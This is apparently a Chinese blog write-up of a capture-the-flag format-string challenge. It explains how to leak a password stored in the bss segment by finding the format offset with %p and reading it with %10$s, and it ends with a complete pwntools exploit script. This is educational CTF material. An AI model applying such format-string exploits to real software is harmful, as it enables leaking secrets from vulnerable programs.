格式化字符串知道他的操作,可是做的一點也不熟練吧,,,BJDCTF上的r2t4不會啊,,,看不懂,,,所以就來補補格式化字符串的題目了,,,,
看到canary開啓了,我還以爲要泄漏canary呢,結果發現不用那麼麻煩,,,
其實看下,思路很清晰,先讓你輸入東西,然後返回給你,然後你輸入password,如果和程序中的一樣,你就拿到flag了,,
所以輸入的東西里面需要泄漏password的值,那要怎麼做呢?
進入password裏面看一下,
什麼東沒有,,,但是知道password在bss段以及他的地址,,,
所以我們考慮,可以將password的地址輸入到name裏面,那麼等下輸出的時候,就可以把password的地址裏面的內容輸出了
在計算一下我們輸入的偏移,具體不知道,就多試幾個%p咯
得到偏移是10
可以寫exp了
#coding=utf-8
from pwn import *
p=process('./crack')
password_addr=0x0804A048
p.recvuntil("name ?")
payload=p32(password_addr)+"#"+"%10$s"+"#"#'#'是必須的,可能需要停頓一下?可以用別的字符
p.sendline(payload)
p.recvuntil("#")
io=p.recvuntil("#")
password=u32(io[:4])
p.recvuntil("password :")
p.sendline(str(password))
p.interactive()